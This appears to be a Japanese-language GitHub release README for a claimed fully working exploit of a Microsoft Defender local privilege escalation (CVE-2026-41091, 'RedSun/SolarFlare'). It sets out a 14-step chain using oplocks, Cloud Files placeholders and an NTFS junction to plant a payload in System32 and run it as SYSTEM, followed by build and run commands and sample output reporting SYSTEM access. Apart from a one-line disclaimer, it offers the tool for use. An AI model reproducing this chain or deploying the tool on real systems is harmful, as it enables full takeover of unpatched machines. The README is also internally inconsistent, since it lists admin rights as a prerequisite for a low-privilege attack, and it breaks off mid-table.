アップデート一覧に戻る
New releaseAug 20, 2026

CVE-2026-41091-PoC-Exploit Full-PoCv2

CVE-2026-41091 RedSun | Microsoft Defender LPE エクスプロイト。低特権ユーザーが Cloud Files API + NTFS ジャンクションのトリックにより NT AUTHORITY\SYSTEM 🔥 を取得。Defender に SYSTEM 権限で悪意のあるペイロードを System32 に書き込ませる。⚠️ 実際に活発に悪用されています。CVSS 7.8。パッチ: Defender Engine 1.1.26040.8。🛡️ 教育目的の PoC のみ。

共有

SolarFlare

☀️ CVE-2026-41091 - RedSun (SolarFlare) - Microsoft Defender LPE エクスプロイト

C++ Windows License CVSS CISA KEV

Microsoft Defender リンクフォローイング脆弱性 - NT AUTHORITY\SYSTEM へのローカル特権昇格

この脆弱性は "RedSun" 🎯 として知られており、"SolarFlare" は私がエクスプロイトに付けた名前です。 ✅

📌 概要

このリポジトリには、Microsoft Defender (Microsoft Malware Protection Engine) における重大なローカル特権昇格脆弱性 CVE-2026-41091 の完全動作する Proof of Concept (PoC) エクスプロイトが含まれています。不適切なリンク解決 (CWE-59) を悪用することで、認証された低権限の攻撃者は NT AUTHORITY\SYSTEM 権限を取得できます。

この脆弱性は "RedSun" または "SolarFlare" としても知られ、Cloud Files API (CfAPI) と NTFS ジャンクションポイントを使用して、攻撃者が Microsoft Defender を騙し、SYSTEM 権限で保護されたシステムの場所に任意のファイルを書き込むことを可能にします。

注: このリポジトリには 2 つのバージョンが含まれています:

  • basic_poc.cpp - 簡略化されたアルゴリズムのデモ (教育用)
  • full_poc.cpp - すべての機能を備えた完全なエクスプロイト

🔥 主な機能

カテゴリ機能
悪用✅ SYSTEM へのローカル特権昇格
✅ Cloud Files API (CfAPI) 統合
✅ クラウドプレースホルダーの作成
✅ NTFS ジャンクションリダイレクト
テクニック✅ バッチ Oplock 悪用
✅ VSS スナップショット検出
✅ EICAR トリガー
✅ COM サービスアクティベーション
ターゲット✅ Microsoft Defender < 1.1.26040.8
✅ Windows 10/11
✅ Windows Server 2019/2022
ユーザビリティ✅ 詳細なログ記録
✅ エラーハンドリング
✅ ランダムなディレクトリ名
✅ 自動クリーンアップ

🎯 脆弱性の詳細

属性値
CVE IDCVE-2026-41091
CVSS スコア7.8 (高)
CVSS VectorAV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
攻撃ベクトルローカル
必要な権限低
ユーザー対話なし
影響SYSTEM レベルのコード実行
CISA KEV✅ はい (実際に悪用中)
利用可能なパッチMicrosoft Malware Protection Engine 1.1.26040.8

📦 影響を受ける製品

製品影響を受けるバージョン修正バージョン
Microsoft Malware Protection Engine< 1.1.26040.81.1.26040.8+
Microsoft Defender Antimalware Platform< 4.18.26040.74.18.26040.7+

🔬 エクスプロイトチェーン

┌─────────────────────────────────────────────────────────────────────────────┐
│ SOLARFLARE EXPLOIT CHAIN                                                    │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│ 1. Create Working Directory                                                 │
│    └─> %TEMP%\SF-XXXX\                                                      │
│                                                                              │
│ 2. Trigger Defender with EICAR                                              │
│    └─> Write reversed EICAR to bait file                                    │
│                                                                              │
│ 3. Wait for VSS Snapshot                                                    │
│    └─> Detect Volume Shadow Copy creation                                   │
│                                                                              │
│ 4. Create First Batch Oplock                                                │
│    └─> FSCTL_REQUEST_BATCH_OPLOCK on bait file                              │
│                                                                              │
│ 5. Wait for Oplock Break                                                    │
│    └─> Acquire exclusive access                                             │
│                                                                              │
│ 6. Rename Directory                                                         │
│    └─> Move original directory to .tmp                                      │
│                                                                              │
│ 7. Register Cloud Sync Root                                                 │
│    └─> CfRegisterSyncRoot with Cloud Files API                              │
│                                                                              │
│ 8. Create Cloud Placeholder                                                 │
│    └─> CfCreatePlaceholders for bait file                                   │
│                                                                              │
│ 9. Create Second Batch Oplock                                               │
│    └─> FSCTL_REQUEST_BATCH_OPLOCK on cloud placeholder                      │
│                                                                              │
│ 10. Wait for Second Oplock Break                                            │
│     └─> Acquire exclusive access                                            │
│                                                                              │
│ 11. Rename Cloud Directory                                                  │
│     └─> Move cloud directory to .cloud.tmp                                  │
│                                                                              │
│ 12. Create NTFS Junction to System32                                        │
│     └─> Redirect to C:\Windows\System32                                     │
│                                                                              │
│ 13. Copy Payload to System32                                                │
│     └─> Copy bait file to System32 as TieringEngineService.exe              │
│                                                                              │
│ 14. Activate Service as SYSTEM                                              │
│     └─> CoCreateInstance(StorageTiersManagement)                            │
│                                                                              │
└─────────────────────────────────────────────────────────────────────────────┘

📦 インストール

前提条件

  • Windows 10/11 または Windows Server 2019/2022
  • Visual Studio 2019/2022 (C++ ツール付き)
  • 管理者権限 (実行用)

ビルド

# リポジトリをクローン
git clone https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit
cd CVE-2026-41091-PoC-Exploit

# Visual Studio Developer Command Prompt を使用してビルド
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib

# または基本バージョンをビルド
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib

🛠️ 使用方法

完全エクスプロイト (SYSTEM 権限昇格)

full_poc.exe

基本アルゴリズムのデモ

basic_poc.exe

📋 出力例

完全エクスプロイト出力

CVE-2026-41091 SolarFlare PoC
===============================
     by @tc4dy | CVSS 7.8
===============================

[*] SolarFlare exploit started.
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\SF-8427\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS snapshot detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Renaming cloud directory...
[+] Cloud directory renamed
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\TieringEngineService.exe
[*] Activating Storage Tiers Management service...
[+] Service activated as SYSTEM

[+] SYSTEM access obtained!

基本 PoC 出力

カテゴリ